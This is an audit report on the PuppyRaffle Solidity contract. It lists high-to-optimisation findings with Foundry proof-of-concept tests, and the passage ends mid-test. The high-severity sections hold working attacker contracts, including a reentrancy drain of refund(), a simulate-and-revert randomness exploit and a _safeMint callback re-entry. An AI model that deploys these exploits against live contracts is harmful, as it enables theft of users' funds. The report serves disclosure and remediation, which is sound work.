



PuppyRaffle

NFT Protocol Audit Report

Contract: src/PuppyRaffle.sol

Audit Date: September 2026

Methodology: Aderyn + Slither + Manual Review

Findings: 8 High · 2 Medium · 9 Low · 5 Info · 4 Opt

PuppyRaffle — Comprehensive Security Audit Report

Audited Contract: `src/PuppyRaffle.sol`

Audit Date: September 2026

Scope: This report consolidates findings from three independent analysis sources:

Source	Methodology
Aderyn	Static analysis by Cyfrin
Slither	Static analysis by Trail of Bits
Manual Audit	Manual code review with proof-of-concept testing

Table of Contents

- Executive Summary
- Issue Summary
- Files Summary
- High Severity Findings
 - H-1: A DOS & Monopoly Attack that could cause the halt of future entry to raffle
 - H-2: `PuppyRaffle::refund()` found to be vulnerable to Reentrancy Attack
 - H-3: `PuppyRaffle::selectWinner()` doesn't have a solid Randomness selection
 - H-4: Integer Overflow in `totalFees` Truncates Protocol Revenue and Can Freeze Withdrawals
 - H-5: Reentrancy and State Desynchronization via `_safeMint` and External Ether Call Hooks in `PuppyRaffle::selectWinner()`
 - H-6: Strict Balance Validation Allows Attacker to Permanently Freeze Protocol Fee Withdrawals in `PuppyRaffle::withdrawFees()`
 - H-7: Unauthorized Fee Withdrawal via Missing Access Control
 - H-8: Hash Collision Risk from `abi.encodePacked()` with Dynamic Types
- Medium Severity Findings
 - M-1: Malformed JSON Metadata Due to Missing Quotes Around String Attributes Breaks NFT Display
 - M-2: Unprotected Push-Transfer Architecture Can Block Fee Extraction via Recipient Contract Failure
- Low Severity Findings
 - L-1: Returning zero if player doesn't have an index in `PuppyRaffle::getActivePlayerIndex()` is not right
 - L-2: Centralization Risk for trusted owners
 - L-3: Missing Zero-Address Validation on Fee Address
 - L-4: Outdated Solidity Compiler Version with Known Bugs
 - L-5: `public` functions not used internally could be marked `external`
 - L-6: Uint variables shouldn't be called inside a function barely (Magic Numbers)
 - L-7: Event is missing `indexed` fields
 - L-8: Loop contains `require / revert` statements
 - L-9: Block timestamp used for comparisons
- Informational Findings
 - I-1: Dead code: `_isActivePlayer()` is never used
 - I-2: Low-level calls
 - I-3: 4 different versions of Solidity are used
 - I-4: Add more precision to the state variables (Naming Conventions)

- I-5: Use Checks in constructor to check if `_entranceFee` , `_feeAddress` , and `_raffleDuration` are zero
 - Optimization Findings
 - O-1: Gas Optimization for array for loop iteration (Cache Array Length)
 - O-2: State Variables that could be declared `constant`
 - O-3: Gas Optimization for `raffleDuration` could be made immutable
 - O-4: `memory` Should Be `calldata` for `enterRaffle()` Parameter
-

Executive Summary

The **PuppyRaffle** contract is an ERC-721 raffle system where participants pay an entrance fee for a chance to win a randomly selected puppy NFT. The protocol accumulates fees for the owner and distributes 80% of the pool to the winner.

The analysis identified **8 High, 2 Medium, 9 Low, 5 Informational, and 4 Optimization** issues. The most critical concerns involve **reentrancy** (both in `refund()` and via the `_safeMint` callback), **predictable randomness**, **integer overflow** under Solidity 0.7.6, and **missing access controls**.

Issue Summary

Category	Count
High	8
Medium	2
Low	9
Informational	5
Optimization	4
Total	28

Files Summary

Filepath	nSLOC
src/PuppyRaffle.sol	138

High Severity Findings

H-1: A DOS & Monopoly Attack that could cause the halt of future entry to raffle

Severity: High

Source: Manual Audit

Lines: src/PuppyRaffle.sol — Lines 85–98

Description:

A DOS Attack vulnerability exists in the `PuppyRaffle::enterRaffle()` function which occurs by increasing gas costs for future entrants occurring at Line109. Although the for loop exists to check for duplicate addresses but it doesn't change the fact that the number of players entry is unbounded thereby resulting in high cost of Gas.

Code

```
function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must
    send enough to enter raffle");

    for (uint256 i = 0; i < newPlayers.length; i++) {
        players.push(newPlayers[i]);
    }
    for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
        }
    }
    emit RaffleEnter(newPlayers);
}
```

Impact: High. Will cause execution stoppage of function call for future entrants all referenced to the fact that EVM only permits ~30 million Gas per Block.

Proof of Concept: (Proof of Code)

Below you will even realize that the Third batch of just 15 address costs more gas than the Second Batch of 100 addresses.

First Batch

```
function test_DOS_Attack() public {

    // first batch of 100 players
    uint256 playersNum = 100;
```

```

address[] memory players = new address[](playersNum);
for (uint256 i = 0; i < playersNum; i++) {
    players[i] = address(i);
}

// to chcek how much gas it costs
uint256 gasStart = gasleft();
puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
uint256 gasEnd = gasleft();
uint256 gasFirst = gasStart - gasEnd;
console.log("Gas used by first batch: %d", gasFirst);
}

```

Second Batch

```

// second batch:

address[] memory playersTwo = new address[](playersNum);
for (uint256 i = 0; i < playersNum; i++) {
    playersTwo[i] = address(i + playersNum);
}

uint256 gasStartSecond = gasleft();
puppyRaffle.enterRaffle{value: entranceFee * playersNum}(playersTwo);
uint256 gasEndSecond = gasleft();
uint256 gasSecond = gasStartSecond - gasEndSecond;
console.log("Gas used by second batch: %d", gasSecond);

```

Third Batch

```

// third batch
uint256 playThree = 15;
address[] memory playersThree = new address[](playThree);
for (uint256 i = 0; i < playThree; i++) {
    playersThree[i] = address(i + (playersNum * 2));
}

uint256 gasStartThird = gasleft();
puppyRaffle.enterRaffle{value: entranceFee * playThree}(playersThree);
uint256 gasEndThird = gasleft();
uint256 gasThird = gasStartThird - gasEndThird;
console.log("Gas used by third batch: %d", gasThird);

assertGt(gasThird, gasSecond);

```

Run

```
forge test -mt test_DoS_Attack -vvvv
```

Gas Output

```

[0] console::log("Gas used by First Batch: %d", 6503222 [6.503e6])
[staticcall]
  ← [Revert] unknown selector `0x9710a9d0` for ConsoleCalls
[0] console::log("Gas used by Second Batch: %d", 18995462 [1.899e7])
[staticcall]
  ← [Revert] unknown selector `0x9710a9d0` for ConsoleCalls
[0] console::log("Gas used by Third Batch: %d", 19613999 [1.961e7])
[staticcall]
  ← [Revert] unknown selector `0x9710a9d0` for ConsoleCalls

```

Recommended Mitigation:

1. Protocol should limit how many times a single user (msg.sender) can enter the raffle via the `PuppyRaffle::enterRaffle()` through a ticket system. This effectively breaks the attacker's automation because they can no longer use a single wallet to buy out the raffle. They would have to fund hundreds of different wallets with gas money, making the attack incredibly tedious, expensive, and economically unviable.
2. Protocol should limit the batch size of how many address can be in one batch of Addresses.
3. A mapping(address => bool) should be used for the duplicate check rather than nested for loop.

Recommendation

```

- function enterRaffle(address[] memory newPlayers) public payable {
-     require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
Must send enough to enter raffle");

-     // **audit newPlayers.length iterate at every turn costing more gas.
- Should use a cached array length
-     for (uint256 i = 0; i < newPlayers.length; i++) {
-         players.push(newPlayers[i]);
-     }
-     // Check for duplicates
-     // **audit players.length iterate at every turn costing more gas. -
Should use a cached array length
-     // **audit this kills every other player if there seem to be just on
address duplicate. Forgive on Fail might help.
-     for (uint256 i = 0; i < players.length - 1; i++) {
-         for (uint256 j = i + 1; j < players.length; j++) {
-             require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
-         }
-     }
-     emit RaffleEnter(newPlayers);
- }

+ // Track how many tickets a single wallet has purchased
+ mapping(address => uint256) public ticketsPerWallet;
+ uint256 public constant MAX_TICKETS_PER_WALLET = 5; // Strict entry limit
per identity

+ mapping(address => bool) public isPlayerInRaffle;

```

```

+ uint256 public constant MAX_BATCH_SIZE = 50;

+ function enterRaffle(address[] calldata newPlayers) external payable {
+   require(newPlayers.length <= MAX_BATCH_SIZE, "PuppyRaffle: Max batch size exceeded");
+   require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter");

+   // CRITICAL SECURITY CHECK: Prevent a single caller from overloading entries across transactions
+   uint256 currentTicketsOwned = ticketsPerWallet[msg.sender];
+   require(currentTicketsOwned + newPlayers.length <= MAX_TICKETS_PER_WALLET, "PuppyRaffle: Exceeds wallet allowance");

+   for (uint256 i = 0; i < newPlayers.length; i++) {
+     address player = newPlayers[i];

+     if (isPlayerInRaffle[player]) {
+       continue;
+     }

+     isPlayerInRaffle[player] = true;
+     players.push(player);
+   }

+   // Update the caller's purchase record permanently
+   ticketsPerWallet[msg.sender] += newPlayers.length;
+ }

```

H-2: `PuppyRaffle::refund()` found to be vulnerable to Reentrancy Attack

Severity: High

Source: Manual Audit + Slither (`reentrancy-no-eth`)

Lines: `src/PuppyRaffle.sol` — Lines 104-115

Description:

The function opens the fuction caller to make a refund call which payment from `PuppyRaffle::Line131` occurs before the players Index is removed from the players array. A Malicious contract address or EOA has the ability to make the `sendValue()` call repeatedly before the address is removed from the array.

Code

```

function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];

    // **audit Line127 check should be Line126, vice versa.
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
}

```

```

        // **audit reentrancy leak detected by attacker if not removed from array
        before refund. Exchange Line134 for Line131

        payable(msg.sender).sendValue(entranceFee);

        // **audit Emit call dangerous after Value remit to refund.
        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }

```

Impact: High. An Attacker Address enters the raffle, repeatedly calls the refund function until the `address(PuppyRaffle).balance` is drained causing the loss of other legit Address's raffle entranceFees.

Proof of Concept: (Proof of Code)

Code

```

contract ReentrancyAttacker {
    PuppyRaffle public puppyRaffle;
    uint256 public playerIndex;

    constructor(address _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
    }

    function attack(uint256 _playerIndex) external {
        playerIndex = _playerIndex;
        puppyRaffle.refund(_playerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= puppyRaffle.entranceFee()) {
            puppyRaffle.refund(playerIndex);
        }
    }

    receive() external payable {
        _stealMoney();
    }

    fallback() external payable {
        _stealMoney();
    }
}

function test_Reentrancy_Attack_on_refund() public {

    ReentrancyAttacker attacker = new
    ReentrancyAttacker(address(puppyRaffle));

    address payable attackerAddr = payable(address(attacker));
    vm.deal(attackerAddr, entranceFee);
    address[] memory attackerEntry = new address[](1);
    attackerEntry[0] = attackerAddr;
}

```

```

vm.prank(attackerAddr);
puppyRaffle.enterRaffle{value: entranceFee}(attackerEntry);

vm.deal(playerTwo, entranceFee);
address[] memory victimEntry = new address[](1);
victimEntry[0] = playerTwo;
vm.prank(playerTwo);
puppyRaffle.enterRaffle{value: entranceFee}(victimEntry);

vm.deal(playerThree, entranceFee);
address[] memory victimEntryTwo = new address[](1);
victimEntryTwo[0] = playerThree;
vm.prank(playerThree);
puppyRaffle.enterRaffle{value: entranceFee}(victimEntryTwo);

vm.deal(playerFour, entranceFee);
address[] memory victimEntryThree = new address[](1);
victimEntryThree[0] = playerFour;
vm.prank(playerFour);
puppyRaffle.enterRaffle{value: entranceFee}(victimEntryThree);

uint256 poolBefore = address(puppyRaffle).balance;
console.log("Pool balance before exploit: %d", poolBefore);
assertEq(poolBefore, 4e18, "Pool should have 4 ether");

attacker.attack(0);

uint256 poolAfter = address(puppyRaffle).balance;
uint256 attackerBalance = address(attacker).balance;

console.log("Pool balance after exploit: %d", poolAfter);
console.log("Attacker balance after exploit: %d", attackerBalance);

assertEq(poolAfter, 0, "Vulnerability Failed: Pool was not drained");
assertEq(attackerBalance, 4e18, "Exploit Failed: Attacker should hold all
4 ether");
}

```

Run

```
forge test -mt test_Reentrancy_Attack_on_refund -vvvv
```

Output

```

[0] console::log("Pool balance after exploit: %d", 0) [staticcall]
    ← [Revert] unknown selector `0x9710a9d0` for ConsoleCalls
[0] console::log("Attacker balance after exploit: %d", 4000000000000000000
[4e18]) [staticcall]
    ← [Revert] unknown selector `0x9710a9d0` for ConsoleCalls

```

Recommended Mitigation:

There are two options to mitigating this:

1. Installing and Importating the OpenZeppelin ReentrancyGuard contract. Then calling its nonReentrant modifier on the `PuppyRaffle()::refund()` function.

Recommendation

```
- function refund(uint256 playerId) public {  
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/  
ReentrancyGuard.sol";  
+ function refund(uint256 playerId) external nonReentrant{
```

Note: The report why public => external is at the Optimization report section

1. Let the `msg.sender` be removed before `sendValue()` acts. See Recommendations below

Recommendation

```
- payable(msg.sender).sendValue(entranceFee);  
- players[playerIndex] = address(0);  
+ players[playerIndex] = address(0);  
+ payable(msg.sender).sendValue(entranceFee);
```

H-3: `PuppyRaffle::selectWinner()` doesn't have a solid Randomness selection

Severity: High

Source: Manual Audit + Aderyn (H-4) + Slither (`weak-prng`)

Lines: `src/PuppyRaffle.sol` — Lines 140-141, 151

Description: The protocol relies on internal blockchain environmental variables (`msg.sender`, `block.timestamp`, and `block.difficulty/block.prevrandao`) to generate pseudo-random numbers for selecting the raffle winner and determining NFT rarity.

Because these variables are entirely public, transparent, and identical for every transaction executed within the exact same block, the outcome of `selectWinner` is fully predictable.

Impact:

High. An attacker can exploit this predictability by deploying a malicious contract that duplicates the hashing calculation before initiating the target function.

The attack script runs as follows: The attacker contract simulates the keccak256 math inline. It checks if the resulting winnerIndex points to the attacker's ticket and evaluates if the rarity will generate a high-value Legendary NFT.

If the simulation results in a loss or a low-value reward, the attacker's contract instantly calls revert(). The transaction is aborted, resetting the blockchain execution frame. No raffle entry is consumed, and the attacker only loses a negligible transaction gas fee. If the simulation generates a win, the transaction is permitted to execute cleanly.

Furthermore, validators or block builders can naturally front-run this function by slightly tweaking the block's timestamp or rearranging transaction positions in the block queue until the resulting hash explicitly matches their own entrant address.

Proof of Concept: (Proof of Code)

There are two proofs here;

One that proves how a winner is easily predictable if an Attacker already generated the keccak256 hash before calling `PuppyRaffle::selectWinner()`

PoC1

```
function test_Predictable_Winner() public playersEntered {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    vm.prevrando(bytes32(uint256(1_000_000)));

    uint256 expectedWinnerIndex = uint256(
        keccak256(abi.encodePacked(address(this), block.timestamp,
        block.difficulty))
    ) % 4;

    address[4] memory currentPlayers = [playerOne, playerTwo, playerThree,
    playerFour];
    address expectedWinner = currentPlayers[expectedWinnerIndex];

    uint256 rawRarity = uint256(
        keccak256(abi.encodePacked(address(this), block.difficulty))
    ) % 100;
    uint256 expectedRarity;
    if (rawRarity <= puppyRaffle.COMMON_RARITY()) {
        expectedRarity = puppyRaffle.COMMON_RARITY(); // 70
    } else if (rawRarity <= puppyRaffle.COMMON_RARITY() +
    puppyRaffle.RARE_RARITY()) {
        expectedRarity = puppyRaffle.RARE_RARITY(); // 25
    } else {
        expectedRarity = puppyRaffle.LEGENDARY_RARITY(); // 5
    }

    console.log("Predicted winnerIndex: %d", expectedWinnerIndex);
    console.log("Predicted rarity (raw->bucketed): %d->%d", rawRarity,
    expectedRarity);

    puppyRaffle.selectWinner();

    assertEq(puppyRaffle.previousWinner(), expectedWinner, "Winner was not
    predicted correctly");
}
```

```

    assertEq(puppyRaffle.tokenIdToRarity(0), expectedRarity, "Rarity was
not predicted correctly");
}

```

Two. An attacker contract replicates the keccak256 calculation and always reverts unless IT wins. The simulation runs inside the same transaction — if the result is bad, the attacker instantly reverts, losing only gas. They repeat with slightly different block parameters until they find a winner.

PoC2

```

contract SimulateAndRevertAttacker is IERC721Receiver {
    PuppyRaffle public puppyRaffle;
    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
    }
    receive() external payable {}
    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external pure override returns (bytes4) {
        return this.onERC721Received.selector;
    }
    function tryWin() external {
        uint256 winnerIndex = uint256(
            keccak256(abi.encodePacked(address(this), block.timestamp,
            block.difficulty))
        ) % 4;
        address winner = puppyRaffle.players(winnerIndex);
        require(winner == address(this), "Not the winner");
        puppyRaffle.selectWinner();
    }
}

function test_Attacker_Rejects_Losing_Blocks() public {
    SimulateAndRevertAttacker attacker = new
    SimulateAndRevertAttacker(puppyRaffle);

    address payable attackerAddr = payable(address(attacker));
    vm.deal(attackerAddr, entranceFee);
    address[] memory attackerEntry = new address[](1);
    attackerEntry[0] = attackerAddr;
    vm.prank(attackerAddr);
    puppyRaffle.enterRaffle{value: entranceFee}(attackerEntry);

    vm.deal(playerTwo, entranceFee);
    address[] memory victimEntry = new address[](1);
    victimEntry[0] = playerTwo;
    vm.prank(playerTwo);
    puppyRaffle.enterRaffle{value: entranceFee}(victimEntry);

    vm.deal(playerThree, entranceFee);
    address[] memory victimEntryTwo = new address[](1);
    victimEntryTwo[0] = playerThree;
    vm.prank(playerThree);
    puppyRaffle.enterRaffle{value: entranceFee}(victimEntryTwo);
}

```

```

vm.deal(playerFour, entranceFee);
address[] memory victimEntryThree = new address[](1);
victimEntryThree[0] = playerFour;
vm.prank(playerFour);
puppyRaffle.enterRaffle{value: entranceFee}(victimEntryThree);

vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);

bool won = false;
for (uint256 d = 1; d <= 20; d++) {
    vm.prevrando(bytes32(uint256(d)));
    try attacker.tryWin() {
        console.log("Attacker won with prevrandao = %d", d);
        won = true;
        break;
    } catch {
        console.log("Rejected prevrandao = %d (attacker would lose)",
d);
    }
}
console.log("Winner address: ");
console.logAddress(puppyRaffle.previousWinner());
assertTrue(won, "Attacker must find a winning block via prevrandao
manipulation");
}

```

Recommended Mitigation:

On-chain variables should never be used as a primary seed for smart contract randomness. The protocol must integrate an off-chain verifiable source of entropy, such as Chainlink VRF (Verifiable Random Function).

By migrating to a two-step random generation pattern, the vulnerability is fully eradicated: The Request Phase: The caller triggers the lottery conclusion, sending a request to the Chainlink VRF Coordinator contract. The current state is locked. The Fulfillment Callback: The oracle network processes the request off-chain and pushes the generated number alongside a cryptographic verification proof back to the target contract via a protected callback function (fulfillRandomWords).

Recommendation

```

+ import {VRFConsumerBaseV2Plus} from "@chainlink/contracts/src/v0.8/vrf/dev/
VRFConsumerBaseV2Plus.sol";
+ import {VRFBV2PlusClient} from "@chainlink/contracts/src/v0.8/vrf/dev/
libraries/VRFBV2PlusClient.sol";
- function selectWinner() external {
-     require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
-     require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
-     uint256 winnerIndex =
-         uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;    // @audit Not Safe. Validators can
manipulate the block data

```

```

-         address winner = players[winnerIndex];
-         uint256 totalAmountCollected = players.length * entranceFee;
-         uint256 prizePool = (totalAmountCollected * 80) / 100;
-         uint256 fee = (totalAmountCollected * 20) / 100;
-         totalFees = totalFees + uint64(fee);

-         uint256 tokenId = totalSupply();

-         // We use a different RNG calculate from the winnerIndex to determine
-         rarity
-         uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
-         block.difficulty))) % 100;
-         if (rarity <= COMMON_RARITY) {
-             tokenIdToRarity[tokenId] = COMMON_RARITY;
-         } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
-             tokenIdToRarity[tokenId] = RARE_RARITY;
-         } else {
-             tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
-         }

-         delete players;          // @audit can't delete players before
-         transferring prizepool to winner.
-         raffleStartTime = block.timestamp; // @audit This line updates the
-         raffle start time before payment. Not safe!
-         previousWinner = winner;
-         (bool success,) = winner.call{value: prizePool}(""); // @audit
-         winner ==> previousWinner.
-         require(success, "PuppyRaffle: Failed to send prize pool to winner");
-         _safeMint(winner, tokenId); // @audit winner ==> previousWinner.
-     }
+ function checkUpkeep(
+     bytes memory /* checkData */
+ )
+     public
+     view
+     returns (
+         bool upkeepNeeded,
+         bytes memory /*data */
+     )
+ {
+     /* @notice All boolean values are set to true */
+     bool timeHasPassed = (block.timestamp - s_lasttimestamp) >=
+ i_interval;
+     bool isRaffleOpen = (s_RaffleState == RaffleState.OPEN);
+     bool hasbalance = address(this).balance > 0;
+     bool hasplayers = s_participants.length > 0;

+     upkeepNeeded = timeHasPassed && isRaffleOpen && hasbalance &&
+ hasplayers;
+     return (upkeepNeeded, "");
+ }
+ /* @dev here, the performUpkeep starts requesting for a random number if
+ checkUpkeep is true */
+ function performUpkeep(
+     bytes calldata /* performData */
+ )
+     external
+ {
+     /* To check if the interval has passed */
+     (bool upkeepNeeded,) = checkUpkeep("");
+     if (!upkeepNeeded) {

```

```

+         revert Raffle__NotYetTimeForLottery();
+     }
+     // Get a random number if time interval is greater or equal //
+     // to the specified interval using CHAYINLINKVRF2.5//
+     /* */
+     // What happens in the hood is.
+     // a. Request Random Number Generator from VRF
+     // b. Getting RNG from VRF via calldata
+     /* RNG REQUEST! */
+     s_RaffleState = RaffleState.CALCULATING;
+     uint256 requestId = s_vrfCoordinator.requestRandomWords(
+         VRFV2PlusClient.RandomWordsRequest({
+             keyHash: i_keyHash,
+             subId: i_subscriptionId,
+             requestConfirmations: REQUEST_CONFIRMATIONS,
+             callbackGasLimit: i_callgaslimit,
+             numWords: NUM_WORDS,
+             extraArgs: VRFV2PlusClient._argsToBytes(
+                 // Set nativePayment to true to pay for VRF requests with
Sepolia ETH instead of LINK
+                 VRFV2PlusClient.ExtraArgsV1({nativePayment: false})
+             )
+         })
+     );
+     s_lastRequestId = requestId;
+     emit RequestedRaffleNumber(requestId);
+ }
+ function fulfillrandomword(
+     uint256,
+     /* requestId */
+     uint256[] calldata randomNumbers
+ )
+     internal
+     override
+ {
+     if (s_participants.length == 0) {
+         revert Raffle__NoParticipants();
+     }
+     if (randomNumbers.length == 0) {
+         revert Raffle__NoRandomWords();
+     }
+     // always going to pick the first random number from random array
+     uint256 indexOfWinner = randomNumbers[0] % s_participants.length;
+     address payable winner = s_participants[indexOfWinner];
+     s_recentWinner = winner;
+     s_participants = new address payable[](0);
+     s_lasttimestamp = block.timestamp;
+     (bool success,) = winner.call{value: address(this).balance}("");
+     if (!success) {
+         revert Raffle__TransferFailed();
+     }
+     s_RaffleState = RaffleState.OPEN;
+     emit WinnerPicked(winner);
+ }

```

Check the official ChainLink VRF documentation for more info on Installation

H-4: Integer Overflow in totalFees Truncates Protocol Revenue and Can Freeze Withdrawals

Severity: High

Source: Manual Audit

Lines: `src/PuppyRaffle.sol` — Lines 31, 146

Description:

The protocol tracks cumulative admin revenue using a uint64 state variable (totalFees). In the selectWinner function, the calculated fee variable is natively derived as a uint256. The contract forcefully downcasts this uint256 value into a uint64 using uint64(fee) and adds it to totalFees without any validation checks.

Because this contract uses a legacy compiler version (^0.7.6), arithmetic operations do not automatically check for overflows or underflows. If the sum of totalFees + uint64(fee) exceeds the maximum capacity of a 64-bit unsigned integer ($2^{64} - 1 \approx 18.44$ Ether), the value will wrap around (reset) to zero and start counting upward from there. Furthermore, if a single raffle round produces a pool fee higher than 18.44 Ether, the forced typecast uint64(fee) will silently truncate the upper bits of the numbers, corrupting the input data before the addition even happens.

Code

```
uint64 public totalFees = 0;

function selectWinner() external {
    require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
    require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
    uint256 winnerIndex =
        uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
        block.difficulty))) % players.length;    // @audit Not Safe. Validators can
        manipulate the block data
    address winner = players[winnerIndex];
    uint256 totalAmountCollected = players.length * entranceFee;
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;

    totalFees = totalFees + uint64(fee);
    // <the rest of the function>
}
```

Impact:

1. Loss of Funds / Corrupted Accounting: The tracked fees will suddenly register as near-zero values once the threshold is crossed, wiping out the historical ledger of accumulated revenue.

2. Locked Protocol Assets: If the protocol features an admin function like `PuppyRaffle::withdrawFees()` that validates withdrawals against the value of `totalFees` (e.g., `require(amount <= totalFees)`), the owner will be permanently unable to withdraw the protocol's real balance, trapping funds inside the contract.

Proof of Concept: (Proof Of Code)

A `uint64` can only hold a maximum value of 18,446,744,073,709,551,615 (wei), which translates to exactly 18.4467 Ether but could have an overflow if exceeded.

PoC

```
function test_TotalFeesIntegerOverflowPoC() public {
    uint256 numberOfPlayers = 93;
    address[] memory entryBatch = new address[](numberOfPlayers);

    for (uint256 i = 0; i < numberOfPlayers; i++) {
        entryBatch[i] = address(uint160(i + 1));
    }

    address primaryCaller = makeAddr("primaryCaller");
    uint256 totalCost = entranceFee * numberOfPlayers; // 93 Ether
    vm.deal(primaryCaller, totalCost);

    // 1. Enter the raffle safely as one entity submitting the list
    vm.prank(primaryCaller);
    puppyRaffle.enterRaffle{value: totalCost}(entryBatch);

    // Math Verification:
    // Total Pool = 93 Ether
    // Expected Fee (20%) = 18.6 Ether (18,600,000,000,000,000,000 wei)
    // This is strictly larger than the uint64 max ceiling (18.4467 Ether)
    uint256 expectedFeeMath = (totalCost * 20) / 100;
    console.log("True expected fee amount:", expectedFeeMath);

    // 2. Warp time past the end window to unlock winner selection
    vm.warp(block.timestamp + duration + 1);

    // Execute the vulnerable code
    puppyRaffle.selectWinner();

    // 4. Read the final corrupted state variable from storage
    uint256 actualTrackedFees = puppyRaffle.totalFees();
    console.log("Overflowed totalFees recorded in contract:",
actualTrackedFees);

    // 5. Assertions to confirm the numerical wrap-around occurred
    assertTrue(actualTrackedFees < expectedFeeMath, "PoC Failed: Overflow did
not trigger.");

    // Under pure 64-bit truncation arithmetic:
    // 18.6e18 mod (2^64) = 153,255,926,290,448,384 wei (~0.153 Ether)
    assertEq(actualTrackedFees, 153255926290448384, "PoC Failed: Truncation
match failed.");
    console.log("CRITICAL: The contract records only ~0.153 Ether instead of
18.6 Ether!");
}
```

Run

```
forge test -mt test_TotalFeesInteger0verflowPoC -vvvv
```

Output

```
[0] console::log("True expected fee amount:", 18600000000000000000
[1.86e19]) [staticcall]
  ← [Revert] unknown selector `0x9710a9d0` for ConsoleCalls
[0] console::log("Overflowed totalFees recorded in contract:",
153255926290448384 [1.532e17]) [staticcall]
  ← [Revert] unknown selector `0x9710a9d0` for ConsoleCalls
```

Recommended Mitigation:

There are two primary methods to resolve this arithmetic overflow safely:

1. Upgrade the Compiler Version (Best Practice) Migrate the contract to a modern version of Solidity (^0.8.0 or higher). Starting with version 0.8.0, the compiler natively checks all arithmetic operations. If an overflow is triggered, the transaction will automatically revert safely, preventing data corruption.
2. Use OpenZeppelin's SafeMath and Expand the Variable Size If you are strictly required to keep the contract compiled under Solidity 0.7.6, you must use the SafeMath library for the addition. Additionally, you should expand totalFees from uint64 to a full uint256 so that it can comfortably handle any realistic volume of Ether revenue.

Recommendation

```
+ import "@openzeppelin/contracts/math/SafeMath.sol";

+ using SafeMath for uint256;

- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;

- totalFees = totalFees + uint64(fee);
+ totalFees = totalFees.add(fee);
```

H-5: Reentrancy and State Desynchronization via `_safeMint` and External Ether Call Hooks in

`PuppyRaffle::selectWinner()`

Severity: High

Source: Manual Audit

Lines: `src/PuppyRaffle.sol` — Lines 137–166

Description:

The `PuppyRaffle::selectWinner()` function violates the safe execution pipeline by conducting multiple external interactions (`winner.call` followed by `_safeMint`) at the conclusion of its state transitions.

Because `_safeMint` inherits the ERC-721 `onERC721Received` compliance callback, any recipient smart contract is granted full execution autonomy mid-transaction. An attacker can use these sequential entry hooks to execute cross-round reentrancy—manipulating subsequent raffle logic or forcefully positioning liquidity for upcoming rounds before the initial execution architecture resolves.

Impact:

1. Cross-Round Front-Running: Malicious smart contracts can systematically guarantee consecutive raffle wins by forcefully occupying early entry vectors for the next block round during the callback loop.
2. State Vulnerability: Intermediate state states (where funds have been cleared but items have not been minted) can be exposed to third-party contract interactions

Proof of Concept: (Proof Of Code)

PoC

```
interface IPuppyRaffle {
    function enterRaffle(address[] calldata newPlayers) external payable;
    function selectWinner() external;
    function players(uint256 index) external view returns (address);
}

contract PuppyRaffleSelectWinnerAttacker {
    IPuppyRaffle public targetRaffle;
    uint256 public entranceFee;
    bool public hasReentered;
    constructor(address _target, uint256 _fee) {
        targetRaffle = IPuppyRaffle(_target);
        entranceFee = _fee;
    }

    // Step 1: Force this contract to enter the raffle
    function enterAsAttacker() external payable {
        address[] memory entry = new address[](1);
        entry[0] = address(this);
        targetRaffle.enterRaffle{value: entranceFee}(entry);
    }
}
```

```

    // Simple fallback to accept the raw prize pool money smoothly from
winner.call
    receive() external payable {}

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external returns (bytes4) {
        // Prevent infinite loops, we only want to sneak into the next round once
        if (!hasReentered) {
            hasReentered = true;

            // Re-enter the raffle for the BRAND NEW round immediately inside the
callback hook!
            address[] memory nextRoundEntry = new address[](1);
            nextRoundEntry = address(this);

            // The contract funds the new round using a fraction of the prize
money it just won!
            targetRaffle.enterRaffle{value: entranceFee}(nextRoundEntry);
        }

        return this.onERC721Received.selector;
    }
}

function test_SelectWinnerSafeMintReentrancyPoC() public {
    // 1. Setup Phase: Fill raffle slots with three innocent victims
    PuppyRaffleSelectWinnerAttacker attacker = new
PuppyRaffleSelectWinnerAttacker(address(puppyRaffle), entranceFee);
    address[] memory batch = new address[](1);

    batch[0] = playerOne;
    vm.deal(playerOne, entranceFee);
    vm.prank(playerOne);
    puppyRaffle.enterRaffle{value: entranceFee}(batch);

    batch[0] = playerTwo;
    vm.deal(playerTwo, entranceFee);
    vm.prank(playerTwo);
    puppyRaffle.enterRaffle{value: entranceFee}(batch);

    batch[0] = playerThree;
    vm.deal(playerThree, entranceFee);
    vm.prank(playerThree);
    puppyRaffle.enterRaffle{value: entranceFee}(batch);

    // 2. Attacker enters as the 4th ticket slot to unlock the selectWinner
conditions
    vm.deal(address(attacker), entranceFee);
    attacker.enterAsAttacker();

    // 3. Warp time forward past the duration criteria window
    vm.warp(block.timestamp + duration + 1);

    // 4. Force the pseudo-random seed to pick our attacker contract as the
winner
    // We look up the exact hash variables required to resolve the winnerIndex
